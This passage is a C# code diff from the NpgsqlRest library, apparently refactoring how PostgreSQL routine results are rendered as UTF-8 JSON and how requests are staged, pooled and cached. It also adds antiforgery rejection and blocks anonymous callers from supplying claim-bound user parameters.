raw; + if (nestedJsonColumnMap is not null) + { + _compositeFieldBuffer ??= Utf8Buffer.Rent(); + } + _compositeHasNonNullValue = false; + _currentJsonCompositeName = null; + Row.Clear(); + } + + /// + /// Reads column of the current row as UTF-8. Returns false for NULL. + /// The span is valid until the next read. + /// + private bool TryRead(int ordinal, out ReadOnlySpan utf8) + { + if (_utf8Wire) + { + if (_reader.IsDBNull(ordinal)) + { + utf8 = default; + return false; + } + // The raw column: with AllResultTypesAreUnknown every column is in text format. The stream object is + // reused by Npgsql, so this allocates nothing. + using var stream = _reader.GetStream(ordinal); + int length = checked((int)stream.Length); + if (_scratch.Length < length) + { + GrowScratch(length); + } + stream.ReadExactly(_scratch, 0, length); + utf8 = new ReadOnlySpan(_scratch, 0, length); + return true; + } + + object value = _reader.GetValue(ordinal); + if (value == DBNull.Value) + { + utf8 = default; + return false; + } + utf8 = EncodeToScratch((string)value); + return true; + } + + private ReadOnlySpan EncodeToScratch(string text) + { + int max = Encoding.UTF8.GetMaxByteCount(text.Length); + if (_scratch.Length < max) + { + int exact = Encoding.UTF8.GetByteCount(text); + if (_scratch.Length < exact) + { + GrowScratch(exact); + } + } + int written = Encoding.UTF8.GetBytes(text, _scratch); + return new ReadOnlySpan(_scratch, 0, written); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void GrowScratch(int length) + { + ArrayPool.Shared.Return(_scratch); + _scratch = ArrayPool.Shared.Rent(length); + } + + /// Appends the reader's current row to . + public void AppendRow() + { + var rowBuilder = Row; + var endpoint = _endpoint; + var routine = _routine; + var routineReturnRecordCount = _columnCount; + + for (var i = 0; i < routineReturnRecordCount; i++) + { + ReadOnlySpan raw = default; + bool isNull = i == _hiddenColumnIndex || TryRead(i, out raw) is false; + + // Decrypt column value if marked with decrypt annotation + if (isNull is false && + _protector is not null && + (endpoint.DecryptAllColumns || + (endpoint.DecryptColumns is not null && + i < _columnNames.Length && + endpoint.DecryptColumns.Contains(_columnNames[i])))) + { + try + { + raw = EncodeToScratch(_protector.Unprotect(Encoding.UTF8.GetString(raw))); + } + catch (Exception decryptEx) + { + Logger?.DecryptColumnFailed(decryptEx.Message); + } + } + + // if raw + if (_raw) + { + // NULL is rendered as an empty value + if (endpoint.RawValueSeparator is not null) + { + var descriptor = _descriptors[i]; + if ((descriptor.Category & (TypeCategory.Text | TypeCategory.Date | TypeCategory.DateTime)) != 0) + { + PgUtf8Converters.AppendCsvQuoted(rowBuilder, raw); + } + else + { + rowBuilder.Append(raw); + } + if (i < routineReturnRecordCount - 1) + { + rowBuilder.Append(endpoint.RawValueSeparator); + } + } + else + { + rowBuilder.Append(raw); + } + } + else + { + var descriptor = _descriptors[i]; + + // SQL file composite type column: value is a PostgreSQL tuple string + // Expand inline (flat) or wrap as nested JSON object + if (descriptor.IsCompositeType && + descriptor.CompositeFieldNames is not null && + descriptor.CompositeFieldDescriptors is not null) + { + if (_returnsUnnamedSet == false && i == 0) + { + rowBuilder.Append(Consts.OpenBrace); + } + + if (endpoint.NestedJsonForCompositeTypes == true) + { + // Nested mode: "columnName": {parsed object} or "columnName": null + if (_returnsUnnamedSet == false) + { + rowBuilder.Append(_utf8JsonColumnNames[i]); + } + if (isNull) + { + rowBuilder.Append(Consts.Utf8Null); + } + else + { + rowBuilder.Append(PgTupleToJsonObject( + PgUtf8Converters.DecodeChars(raw, ref _charScratch), + descriptor.CompositeFieldNames, + descriptor.CompositeFieldDescriptors)); + } + } + else + { + // Flat mode: splice individual fields inline + if (isNull) + { + // All fields null — emit "field1":null,"field2":null,... + for (int fi = 0; fi < descriptor.CompositeFieldNames.Length; fi++) + { + if (fi > 0) rowBuilder.Append(Consts.Comma); + rowBuilder.Append(PgConverters.SerializeString(descriptor.CompositeFieldNames[fi])); + rowBuilder.Append(Consts.Colon); + rowBuilder.Append(Consts.Utf8Null); + } + } + else + { + // Parse tuple to JSON object, strip outer braces to get inline fields + var compositeJsonObj = PgTupleToJsonObject( + PgUtf8Converters.DecodeChars(raw, ref _charScratch), + descriptor.CompositeFieldNames, + descriptor.CompositeFieldDescriptors); + // PgTupleToJsonObject returns {"field":val,...} — strip { and } + if (compositeJsonObj.Length >= 2 && compositeJsonObj[0] == '{' && compositeJsonObj[compositeJsonObj.Length - 1] == '}') + { + rowBuilder.Append(compositeJsonObj[1..^1]); + } + else + { + rowBuilder.Append(compositeJsonObj); + } + } + } + + if (_returnsUnnamedSet == false && i == routineReturnRecordCount - 1) + { + rowBuilder.Append(Consts.CloseBrace); + } + if (i < routineReturnRecordCount - 1) + { + rowBuilder.Append(Consts.Comma); + } + } + else + { + // Handle nested JSON composite types (routine expanded columns) + (string CompositeColumnName, string FieldName, bool IsFirstField, bool IsLastField, int FieldCount, string JsonCompositeColumnName, string JsonFieldName) compositeMapping = default; + bool isInComposite = _nestedJsonColumnMap is not null && _nestedJsonColumnMap.TryGetValue(i, out compositeMapping); + + // Determine which buffer to write to + Utf8Buffer outputBuffer = (isInComposite && _compositeFieldBuffer is not null) ? _compositeFieldBuffer : rowBuilder; + + if (_returnsUnnamedSet == false) + { + if (i == 0) + { + rowBuilder.Append(Consts.OpenBrace); + } + + if (isInComposite) + { + if (compositeMapping.IsFirstField) + { + // Start of composite: reset buffer and track column name + _compositeFieldBuffer!.Clear(); + _compositeHasNonNullValue = false; + _currentJsonCompositeName = compositeMapping.JsonCompositeColumnName; + } + // Write field name to the composite buffer + outputBuffer.Append(compositeMapping.JsonFieldName); + outputBuffer.Append(Consts.Colon); + } + else + { + rowBuilder.Append(_utf8JsonColumnNames[i]); + } + } + + JsonValueFormatter.FormatValue( + raw, isNull, descriptor, outputBuffer, + routine.ArrayCompositeColumnInfo, i, ref _charScratch); + if (isInComposite && isNull is false) + { + _compositeHasNonNullValue = true; + } + + // Handle closing braces and commas for nested JSON composite types + if (isInComposite && compositeMapping.IsLastField) + { + // End of composite: decide whether to output null or the buffered object + rowBuilder.Append(_currentJsonCompositeName!); + rowBuilder.Append(Consts.Colon); + + if (_compositeHasNonNullValue) + { + // At least one field has a value, output as object + rowBuilder.Append(Consts.OpenBrace); + rowBuilder.Append(_compositeFieldBuffer!); + rowBuilder.Append(Consts.CloseBrace); + } + else + { + // All fields are NULL, output null + rowBuilder.Append(Consts.Utf8Null); + } + } + else if (isInComposite) + { + // Add comma between composite fields + outputBuffer.Append(Consts.Comma); + } + + if (_returnsUnnamedSet == false && i == routineReturnRecordCount - 1) + { + rowBuilder.Append(Consts.CloseBrace); + } + + // Add comma between columns (but not within composite fields which are handled above) + if (!isInComposite && i < routineReturnRecordCount - 1) + { + rowBuilder.Append(Consts.Comma); + } + else if (isInComposite && compositeMapping.IsLastField && i < routineReturnRecordCount - 1) + { + rowBuilder.Append(Consts.Comma); + } + } + } + } + } + + /// Ends a request's use: returns the buffers to their pools and drops every reference to the request. + public void Release() + { + if (Row is not null) + { + Utf8Buffer.Return(Row); + Row = null!; + } + if (_compositeFieldBuffer is not null) + { + Utf8Buffer.Return(_compositeFieldBuffer); + _compositeFieldBuffer = null; + } + if (_scratch.Length > 0) + { + ArrayPool.Shared.Return(_scratch); + _scratch = []; + } + if (_charScratch is not null) + { + ArrayPool.Shared.Return(_charScratch); + _charScratch = null; + } + _reader = null!; + _routine = null!; + _endpoint = null!; + _protector = null; + _columnNames = []; + _jsonColumnNames = []; + _utf8JsonColumnNames = []; + _descriptors = []; + _nestedJsonColumnMap = null; + _currentJsonCompositeName = null; + } + } + + /// + /// UTF-8 form of a result set's JSON property names, each with its colon ("name":), computed once per name array. + /// + private static class Utf8ColumnNames + { + private static readonly ConditionalWeakTable Cache = new(); + + public static byte[][] Get(string[] jsonColumnNames) => Cache.GetValue(jsonColumnNames, static names => + { + var result = new byte[names.Length][]; + for (int i = 0; i < names.Length; i++) + { + result[i] = Encoding.UTF8.GetBytes(string.Concat(names[i], ":")); + } + return result; + }); + } +} diff --git a/NpgsqlRest/NpgsqlRestEndpoint.cs b/NpgsqlRest/NpgsqlRestEndpoint.cs index ce6a420a..ead1f3f4 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.cs @@ -44,3368 +44,3919 @@ private sealed class CacheFactoryAbortException(CacheFactoryAbortReason reason) // // The outer map is keyed by the cache instance itself (reference identity, so distinct cache // profiles never share a gate even if they reuse a key string) and an inner map holds one gate per - // key. SemaphoreSlim instances are never disposed — they hold no OS handle unless AvailableWaitHandle - // is touched, and their count is bounded by (cache instances × distinct keys), bounded by the schema. - private static readonly ConcurrentDictionary> _recordCacheGates + // key. A gate exists only while requests hold or wait for it: it is reference-counted and removed by + // the last one to leave. (Gates used to stay forever - one per distinct key ever requested, and keys + // contain request values, so callers could grow the map without limit.) + private static readonly ConcurrentDictionary> _recordCacheGates = new(ReferenceEqualityComparer.Instance); - private static SemaphoreSlim GetRecordCacheGate(IRoutineCache cache, string key) => - _recordCacheGates - .GetOrAdd(cache, static _ => new(StringComparer.Ordinal)) - .GetOrAdd(key, static _ => new SemaphoreSlim(1, 1)); + internal static int RecordCacheGateCount => _recordCacheGates.Values.Sum(static g => g.Count); - public async Task InvokeAsync(HttpContext context, IServiceProvider serviceProvider, CancellationToken cancellationToken = default) + private sealed class RecordCacheGate(ConcurrentDictionary owner, string key) { - Routine routine = entry.Endpoint.Routine; - RoutineEndpoint endpoint = entry.Endpoint; - IRoutineSourceParameterFormatter formatter = entry.Formatter; + private readonly SemaphoreSlim _semaphore = new(1, 1); + private int _users; // requests holding or waiting; -1 = retired (removed from owner). Guarded by lock(this). - string? headers = null; - if (endpoint.RequestHeadersMode == RequestHeadersMode.Context) + private static RecordCacheGate Enter(IRoutineCache cache, string key) { - SearializeHeader(Options, context, ref headers); + var gates = _recordCacheGates.GetOrAdd(cache, static _ => new(StringComparer.Ordinal)); + while (true) + { + var gate = gates.GetOrAdd(key, static (k, g) => new RecordCacheGate(g, k), gates); + lock (gate) + { + if (gate._users >= 0) + { + gate._users++; + return gate; + } + } + // retired by its last user between GetOrAdd and lock: take (or create) the current one + } + } + + /// + /// Enters the gate for and waits for it. If the wait is cancelled, the gate is left + /// without releasing (it was never acquired) and the cancellation propagates. + /// + public static async Task AcquireAsync(IRoutineCache cache, string key, CancellationToken cancellationToken) + { + var gate = Enter(cache, key); + try + { + await gate._semaphore.WaitAsync(cancellationToken); + } + catch + { + gate.Leave(acquired: false); + throw; + } + return gate; + } + + public void Leave(bool acquired = true) + { + if (acquired) + { + _semaphore.Release(); + } + lock (this) + { + if (--_users == 0) + { + _users = -1; + owner.TryRemove(new KeyValuePair(key, this)); + } + } + } + } + + public Task InvokeAsync(HttpContext context, IServiceProvider? serviceProvider, CancellationToken cancellationToken = default) + => RunAsync(context, serviceProvider, cancellationToken).AsTask(); + + /// Route handler (see NpgsqlRestBuilder): the service provider is resolved from the request only when needed. + internal Task HandleRequestAsync(HttpContext context, CancellationToken cancellationToken) + => RunAsync(context, null, cancellationToken).AsTask(); + + /// The route handler as a RequestDelegate: what the endpoint calls when it has no endpoint filters (see NpgsqlRestBuilder). + internal Task HandleDirectAsync(HttpContext context) + => RunAsync(context, null, context.RequestAborted).AsTask(); + + /// + /// A request, start to end. This method only sequences the stages: everything a request needs lives in one pooled + /// , so while the request waits for the database only a few small async frames are + /// suspended (this one holds the state and nothing else). + /// + // Pooled builder (as on the stage methods below): without Runtime Async, the state machine box of a method that + // waits on I/O is reused across requests instead of allocated; AsTask() above then allocates only a small Task. + // With Runtime Async the attribute has no effect - the runtime keeps a method's state itself. + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder))] + private async ValueTask RunAsync(HttpContext context, IServiceProvider? serviceProvider, CancellationToken cancellationToken) + { + // ASP.NET Core's antiforgery middleware (UseAntiforgery) only *records* a failed token validation in + // IAntiforgeryValidationFeature and continues - rejecting the request is left to the endpoint (MVC and + // minimal-API form binding do it). So when the endpoint carries antiforgery metadata and the token was + // missing or invalid, the request is rejected here, before anything runs. + if (context.Features.Get() is { IsValid: false }) + { + await Results.Problem( + type: null, + statusCode: StatusCodes.Status400BadRequest, + title: "Bad Request", + detail: "Invalid or missing antiforgery token.").ExecuteAsync(context); + return; + } + + var s = RequestState.Rent(); + s.context = context; + s.cancellationToken = cancellationToken; + s.serviceProvider = serviceProvider; + s.endpoint = entry.Endpoint; + s.routine = entry.Endpoint.Routine; + s.formatter = entry.Formatter; + s.shouldLog = Options.LogCommands && Logger != null; + if (s.endpoint.RequestHeadersMode == RequestHeadersMode.Context) + { + SearializeHeader(Options, context, ref s.headers); } - - NpgsqlConnection? connection = null; - NpgsqlTransaction? transaction = null; - string? commandText = null; - bool shouldDispose = true; - bool shouldCommit = true; - // Per-request connection notice handler; detached in the finally so it never accumulates on a - // reused connection (e.g. ServiceProviderMode=NpgsqlConnection / the SQL test runner's ambient connection). - NoticeEventHandler? noticeHandler = null; - // Held (when non-null) for the streaming records/sets cache path; released in the outer finally. - SemaphoreSlim? recordCacheGate = null; - IUploadHandler? uploadHandler = null; - var shouldLog = Options.LogCommands && Logger != null; - - // Pooled StringBuilders - declared at top level to enable pooling in finally block - StringBuilder? cmdLog = null; - StringBuilder? cacheKeys = null; - StringBuilder? commandTextBuilder = null; - StringBuilder? rowBuilder = null; - StringBuilder? compositeFieldBuffer = null; - // Multi-command per-iteration builders — set to null after each iteration's Return, - // so outer finally won't double-return; if iteration throws, finally still cleans up. - StringBuilder? mcRowBuilder = null; - StringBuilder? mcCompositeBuffer = null; // proxy_out: capture function output into a buffer instead of writing to the real response - MemoryStream? proxyOutBuffer = null; - Stream? proxyOutOriginalBody = null; - if (endpoint.IsProxyOut && Options.ProxyOptions.Enabled) + if (s.endpoint.IsProxyOut && Options.ProxyOptions.Enabled) { - proxyOutBuffer = new MemoryStream(); - proxyOutOriginalBody = context.Response.Body; - context.Response.Body = proxyOutBuffer; + s.proxyOutBuffer = new MemoryStream(); + s.proxyOutOriginalBody = context.Response.Body; + context.Response.Body = s.proxyOutBuffer; } - var writer = proxyOutBuffer is not null + // The response's own pipe: Response.BodyWriter. (Wrapping Response.Body in a new StreamPipeWriter allocated a + // writer per request and copied every byte once more through the stream into the same pipe.) BodyWriter stays + // consistent with Response.Body when middleware replaces it (e.g. response compression). + s.writer = s.proxyOutBuffer is not null ? PipeWriter.Create(context.Response.Body, new StreamPipeWriterOptions(leaveOpen: true)) - : PipeWriter.Create(context.Response.Body); + : context.Response.BodyWriter; try { - if (Options.AmbientConnectionAccessor?.Invoke() is { } ambientConnection) + // A stage returns false when the request is finished: a response was written or its status set. + if (await BeginRequestAsync(s) is false || await PrepareParametersAsync(s) is false) { - // Ambient connection override (SQL test runner): run on the caller's already-open - // connection/transaction and never dispose it. The caller owns the connection lifecycle. - connection = ambientConnection; - shouldDispose = false; + return; } - else if (endpoint.ConnectionName is not null) + if (s.endpoint.IsProxy && Options.ProxyOptions.Enabled && await ProxyAsync(s) is false) { - // First check if there's a data source for this connection name (for multi-host support) - if (Options.DataSources?.TryGetValue(endpoint.ConnectionName, out var namedDataSource) is true) - { - connection = namedDataSource.CreateConnection(); - } - else if (Options.ConnectionStrings?.TryGetValue(endpoint.ConnectionName, out var connectionString) is true) + return; + } + await SetRequestContextAsync(s); + if (s.endpoint.Upload is true && s.uploadHandler is not null) + { + await UploadAsync(s); + } + if ((s.endpoint.Login is true || s.endpoint.Logout is true || s.endpoint.InvalidateCache is true) + && await LoginLogoutOrInvalidateAsync(s) is false) + { + return; + } + + // The routine runs and its result is rendered: one method per shape, so each keeps little state alive + // while it waits for the database. + if (s.routine.IsMultiCommand && s.routine.MultiCommandInfo is not null) + { + await RenderMultiCommandAsync(s); + } + else if (s.routine.IsVoid || s.endpoint.Void) + { + await RenderVoidAsync(s); + } + else if (s.routine.ReturnsSet == false && s.routine.ColumnCount == 1 && s.routine.ReturnsRecordType is false) + { + if (s.resolvedCache is not null && s.endpoint.Cached is true && s.bypassCache is false) { - connection = new(connectionString); + await RenderCachedScalarAsync(s); } else { - await ReturnErrorAsync($"Connection name {endpoint.ConnectionName} could not be found in options DataSources or ConnectionStrings dictionaries.", true, context, cancellationToken); - return; + await RenderScalarAsync(s); } } - else if (Options.ServiceProviderMode != ServiceProviderObject.None) + else { - if (serviceProvider is null) - { - await ReturnErrorAsync($"ServiceProvider must be provided when ServiceProviderMode is set to {Options.ServiceProviderMode}.", true, context, cancellationToken); - return; - } - if (Options.ServiceProviderMode == ServiceProviderObject.NpgsqlDataSource) - { - connection = serviceProvider.GetRequiredService().CreateConnection(); - await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); - } - else if (Options.ServiceProviderMode == ServiceProviderObject.NpgsqlConnection) - { - shouldDispose = false; - connection = serviceProvider.GetRequiredService(); - } + await RenderRecordsAsync(s); + } + } + catch (Exception exception) + { + await HandleExceptionAsync(s, exception); + } + finally + { + try + { + await CompleteRequestAsync(s); + } + finally + { + RequestState.Return(s); + } + } + } + + /// + /// First stage of a request: the connection, the notice handler, upfront authentication and authorization, the + /// command, the request body and parameter binding. Returns false when the request is finished (a response was + /// written or its status set). + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask BeginRequestAsync(RequestState s) + { + var context = s.context; + var cancellationToken = s.cancellationToken; + var serviceProvider = s.serviceProvider; + var endpoint = s.endpoint; + var routine = s.routine; + var formatter = s.formatter; + var shouldLog = s.shouldLog; + NpgsqlConnection? connection = null; + StringBuilder? cmdLog = null; + StringBuilder? cacheKeys = null; + StringBuilder? commandTextBuilder = null; + + if (Options.AmbientConnectionAccessor?.Invoke() is { } ambientConnection) + { + // Ambient connection override (SQL test runner): run on the caller's already-open + // connection/transaction and never dispose it. The caller owns the connection lifecycle. + s.connection = connection = ambientConnection; + s.shouldDispose = false; + } + else if (endpoint.ConnectionName is not null) + { + // First check if there's a data source for this connection name (for multi-host support) + if (Options.DataSources?.TryGetValue(endpoint.ConnectionName, out var namedDataSource) is true) + { + s.connection = connection = namedDataSource.CreateConnection(); + } + else if (Options.ConnectionStrings?.TryGetValue(endpoint.ConnectionName, out var connectionString) is true) + { + s.connection = connection = new(connectionString); } else { - if (Options.DataSource is not null) - { - connection = Options.DataSource.CreateConnection(); - } - else - { - connection = new(Options.ConnectionString); - } + await ReturnErrorAsync($"Connection name {endpoint.ConnectionName} could not be found in options DataSources or ConnectionStrings dictionaries.", true, context, cancellationToken); + return false; + } + } + else if (Options.ServiceProviderMode != ServiceProviderObject.None) + { + serviceProvider ??= context.RequestServices; + if (serviceProvider is null) + { + await ReturnErrorAsync($"ServiceProvider must be provided when ServiceProviderMode is set to {Options.ServiceProviderMode}.", true, context, cancellationToken); + return false; + } + if (Options.ServiceProviderMode == ServiceProviderObject.NpgsqlDataSource) + { + s.connection = connection = serviceProvider.GetRequiredService().CreateConnection(); + await connection.OpenRetryAsync(Options.ConnectionRetryOptions, cancellationToken); + } + else if (Options.ServiceProviderMode == ServiceProviderObject.NpgsqlConnection) + { + s.shouldDispose = false; + s.connection = connection = serviceProvider.GetRequiredService(); + } + } + else + { + if (Options.DataSource is not null) + { + s.connection = connection = Options.DataSource.CreateConnection(); + } + else + { + s.connection = connection = new(Options.ConnectionString); + } + } + + if (connection is null) + { + await ReturnErrorAsync("Connection did not initialize!", log: true, context, cancellationToken); + return false; + } + + // Three reasons to attach a notice handler: + // 1. LogConnectionNoticeEvents — log every notice regardless of SSE wiring. + // 2. Endpoint publishes to broadcaster — forward matching notices to subscribers. + // 3. WarnUnboundSseNotices — and the project actually uses SSE somewhere; warn when a + // RAISE in a non-publishing endpoint matches the SSE forwarding level (a likely + // missing @sse_publish annotation). + bool noticeWarnEnabled = Options.WarnUnboundSseNotices + && Logger != null + && NpgsqlRestSseEventSource.HasAnySseEndpoints + && endpoint.SsePublishEnabled is false; + + if ((Options.LogConnectionNoticeEvents && Logger != null) + || endpoint.SsePublishEnabled + || noticeWarnEnabled) + { + s.noticeHandler = CreateNoticeHandler(context, endpoint, noticeWarnEnabled); + connection.Notice += s.noticeHandler; + } + + // Basic Auth for the primary endpoint (see _basicAuthUpfront); remembered so it is not repeated below. + if (Options.AuthenticationOptions.BasicAuth.Enabled is true || _basicAuthUpfront) + { + s.basicAuthCheckedFor = endpoint; + if (Options.AuthenticationOptions.BasicAuth.ChallengeCommand is not null || endpoint.BasicAuth?.ChallengeCommand is not null) + { + await OpenConnectionAsync(connection, context, endpoint, cancellationToken); + } + await BasicAuthHandler.HandleAsync(context, endpoint, connection, cancellationToken); + if (context.Response.HasStarted is true) + { + return false; } + } + + // Upfront authorization (see _rejectAnonymousUpfront): reject before any request processing work. + if ((_rejectAnonymousUpfront || _checkRolesUpfront) + && await RejectUnauthorizedAsync(context, endpoint, checkAuthentication: _rejectAnonymousUpfront, checkRoles: _checkRolesUpfront)) + { + return false; + } - if (connection is null) + // Disposed with the request (see CompleteRequestAsync). + var command = s.command = NpgsqlRestCommand.Create(connection); + + if (shouldLog) + { + cmdLog = s.cmdLog = StringBuilderPool.Rent(); + cmdLog.Append("-- "); + cmdLog.Append(context.Request.Method); + cmdLog.Append(' '); + if (Options.AuthenticationOptions.ObfuscateAuthParameterLogValues && endpoint.IsAuth) { - await ReturnErrorAsync("Connection did not initialize!", log: true, context, cancellationToken); - return; + cmdLog.Append(context.Request.Scheme); + cmdLog.Append("://"); + cmdLog.Append(context.Request.Host); + cmdLog.Append(context.Request.Path); + } + else + { + cmdLog.Append(context.Request.GetDisplayUrl()); + } + cmdLog.Append(Environment.NewLine); + } + + if (formatter.IsFormattable is false) + { + // Use pooled StringBuilder for non-formattable commands to avoid string.Concat allocations + commandTextBuilder = s.commandTextBuilder = StringBuilderPool.Rent(routine.Expression.Length + routine.ParamCount * 16); + commandTextBuilder.Append(routine.Expression); + } + + // paramsList + JsonObject? jsonObj = null; + Dictionary? bodyDict = null; + string? body = null; + // Use IQueryCollection directly to avoid ToDictionary() allocation + IQueryCollection? queryCollection = null; + // Skip local upload handling if proxy will forward the upload content + var skipUploadForProxy = endpoint.Upload is true && + endpoint.IsProxy && + Options.ProxyOptions.Enabled && + Options.ProxyOptions.ForwardUploadContent; + s.uploadHandler = (endpoint.Upload is true && !skipUploadForProxy) ? endpoint.CreateUploadHandler() : null; + s.customHttpTypes = Options.HttpClientOptions.Enabled ? new(routine.Parameters.Length) : null!; + + if (endpoint.Cached is true) + { + var prefixLen = endpoint.CacheKeyPrefix?.Length ?? 0; + cacheKeys = s.cacheKeys = StringBuilderPool.Rent(routine.Expression.Length + prefixLen + (endpoint.CachedParams?.Count ?? 0) * 32); + if (endpoint.CacheKeyPrefix is not null) + { + cacheKeys.Append(endpoint.CacheKeyPrefix); + cacheKeys.Append(NpgsqlRestParameter.GetCacheKeySeparator()); } + cacheKeys.Append(routine.Expression); + } - // Three reasons to attach a notice handler: - // 1. LogConnectionNoticeEvents — log every notice regardless of SSE wiring. - // 2. Endpoint publishes to broadcaster — forward matching notices to subscribers. - // 3. WarnUnboundSseNotices — and the project actually uses SSE somewhere; warn when a - // RAISE in a non-publishing endpoint matches the SSE forwarding level (a likely - // missing @sse_publish annotation). - bool noticeWarnEnabled = Options.WarnUnboundSseNotices - && Logger != null - && NpgsqlRestSseEventSource.HasAnySseEndpoints - && endpoint.SsePublishEnabled is false; + if (endpoint.RequestParamType == RequestParamType.QueryString) + { + queryCollection = context.Request.Query; + } + if (endpoint.HasBodyParameter || endpoint.RequestParamType == RequestParamType.BodyJson) + { + context.Request.EnableBuffering(); + context.Request.Body.Position = 0; - if ((Options.LogConnectionNoticeEvents && Logger != null) - || endpoint.SsePublishEnabled - || noticeWarnEnabled) + using (var reader = new StreamReader(context.Request.Body, Encoding.UTF8, detectEncodingFromByteOrderMarks: false, leaveOpen: true)) + { + body = await reader.ReadToEndAsync(cancellationToken); + } + if (endpoint.RequestParamType == RequestParamType.BodyJson) { - var currentEndpointCaptured = endpoint; - noticeHandler = (sender, args) => + JsonNode? node = null; + try { - if (Options.LogConnectionNoticeEvents && Logger != null) - { - NpgsqlRestLogger.LogConnectionNotice(args.Notice, Options.LogConnectionNoticeEventsMode); - } - if (currentEndpointCaptured.SsePublishEnabled - && currentEndpointCaptured.SseEventNoticeLevel is not null - && string.Equals(args.Notice.Severity, currentEndpointCaptured.SseEventNoticeLevel.ToString(), StringComparison.OrdinalIgnoreCase)) + node = JsonNode.Parse(string.IsNullOrWhiteSpace(body) ? "{}" : body); + } + catch (JsonException e) + { + Logger?.CouldNotParseJson(body, context.Request.Path, e.Message); + node = null; + } + if (node is not null) + { + try { - NpgsqlRestSseEventSource - .Broadcaster - .Broadcast(new SseEvent(args.Notice, currentEndpointCaptured, context.Request.Headers[Options.ExecutionIdHeaderName].FirstOrDefault())); + jsonObj = node?.AsObject(); + bodyDict = jsonObj?.ToDictionary(); } - else if (noticeWarnEnabled - && string.Equals(args.Notice.Severity, Options.DefaultSseEventNoticeLevel.ToString(), StringComparison.OrdinalIgnoreCase) - && SseUnboundWarner.TryMarkWarned(currentEndpointCaptured.Path)) + catch (Exception e) { - Logger!.UnboundSseRaise(args.Notice.Severity, currentEndpointCaptured.Path); + Logger?.CouldNotParseJson(body, context.Request.Path, e.Message); + bodyDict = null; } - }; - connection.Notice += noticeHandler; + } + } + } + + // Claim-bound user parameters (user_params) are filled by the server: for signed-in callers the claim + // always wins (see the parameter loops). Anonymous callers must not be able to supply them either - + // otherwise ?userId=1 would impersonate user 1 on an endpoint that allows anonymous access. Their + // request values are dropped, so the routine sees "not provided" (its default, else NULL). + // Login endpoints are the exception: their callers are anonymous by definition and their parameters + // are the credentials being checked (a login routine typically has a _username or _user_name + // parameter, which collides with the claim mapping). Dropping those would make every login fail. + if (endpoint.UseUserParameters && endpoint.Login is false && context.User?.Identity?.IsAuthenticated is not true) + { + RemoveClientSuppliedUserParameters(routine, ref queryCollection, bodyDict); + } + + // Parameter binding (query string or JSON body). It may resolve an overload: s.routine, s.endpoint and + // s.formatter are then the overload's. + s.queryCollection = queryCollection; + s.bodyDict = bodyDict; + s.body = body; + s.jsonObj = jsonObj; + if (endpoint.RequestParamType == RequestParamType.QueryString) + { + return await BindQueryStringParametersAsync(s); + } + if (endpoint.RequestParamType == RequestParamType.BodyJson) + { + return await BindBodyParametersAsync(s); + } + return true; + } + + /// + /// The per-request connection notice handler. A separate method so its closure is allocated only for the requests + /// that attach a handler (it captures the request and the endpoint, never the pooled request state). + /// + private static NoticeEventHandler CreateNoticeHandler(HttpContext context, RoutineEndpoint currentEndpointCaptured, bool noticeWarnEnabled) + { + return (sender, args) => + { + if (Options.LogConnectionNoticeEvents && Logger != null) + { + NpgsqlRestLogger.LogConnectionNotice(args.Notice, Options.LogConnectionNoticeEventsMode); } - - if (Options.AuthenticationOptions.BasicAuth.Enabled is true || endpoint.BasicAuth?.Enabled is true) + if (currentEndpointCaptured.SsePublishEnabled + && currentEndpointCaptured.SseEventNoticeLevel is not null + && string.Equals(args.Notice.Severity, currentEndpointCaptured.SseEventNoticeLevel.ToString(), StringComparison.OrdinalIgnoreCase)) { - if (Options.AuthenticationOptions.BasicAuth.ChallengeCommand is not null || endpoint.BasicAuth?.ChallengeCommand is not null) - { - await OpenConnectionAsync(connection, context, endpoint, cancellationToken); - } - await BasicAuthHandler.HandleAsync(context, endpoint, connection, cancellationToken); - if (context.Response.HasStarted is true) + NpgsqlRestSseEventSource + .Broadcaster + .Broadcast(new SseEvent(args.Notice, currentEndpointCaptured, context.Request.Headers[Options.ExecutionIdHeaderName].FirstOrDefault())); + } + else if (noticeWarnEnabled + && string.Equals(args.Notice.Severity, Options.DefaultSseEventNoticeLevel.ToString(), StringComparison.OrdinalIgnoreCase) + && SseUnboundWarner.TryMarkWarned(currentEndpointCaptured.Path)) + { + Logger!.UnboundSseRaise(args.Notice.Severity, currentEndpointCaptured.Path); + } + }; + } + + /// + /// Second stage: the parameters are bound. Validation, encryption, authorization of the resolved routine, the + /// command text, resolved parameter expressions, placeholder values, response headers, HTTP Custom Types and the + /// cache key. Returns false when the request is finished. + /// + [System.Runtime.CompilerServices.AsyncMethodBuilder(typeof(System.Runtime.CompilerServices.PoolingAsyncValueTaskMethodBuilder<>))] + private async ValueTask PrepareParametersAsync(RequestState s) + { + var context = s.context; + var cancellationToken = s.cancellationToken; + var endpoint = s.endpoint; + var routine = s.routine; + var formatter = s.formatter; + var connection = s.connection!; + var command = s.command; + var commandTextBuilder = s.commandTextBuilder; + var cacheKeys = s.cacheKeys; + var body = s.body; + var customHttpTypes = s.customHttpTypes; + string? commandText = null; + + if (s.hasNulls && routine.IsStrict) + { + context.Response.StatusCode = (int)HttpStatusCode.NoContent; + await context.Response.CompleteAsync(); + return false; + } + + // parameters are ready !!! + + // Validate parameters before any further processing (authorization, proxy, etc.) + if (endpoint.ParameterValidations is not null) + { + if (!await ValidateParametersAsync(command.Parameters, endpoint, context, cancellationToken)) + { + return false; + } + } + + // Encrypt parameters marked with encrypt annotation + if (Options.AuthenticationOptions.DefaultDataProtector is not null && + (endpoint.EncryptAllParameters || endpoint.EncryptParameters is not null)) + { + var protector = Options.AuthenticationOptions.DefaultDataProtector; + for (int p = 0; p < command.Parameters.Count; p++) + { + var param = (NpgsqlRestParameter)command.Parameters[p]; + if (param.Value is string strValue && + (endpoint.EncryptAllParameters || + endpoint.EncryptParameters!.Contains(param.ActualName) || + endpoint.EncryptParameters!.Contains(param.ConvertedName))) { - return; + param.Value = protector.Protect(strValue); } } - - await using var command = NpgsqlRestCommand.Create(connection); + } - if (shouldLog) + // Basic Auth for the routine the request resolved to, when it was not done upfront for it: an overload with + // its own basic_auth (it used 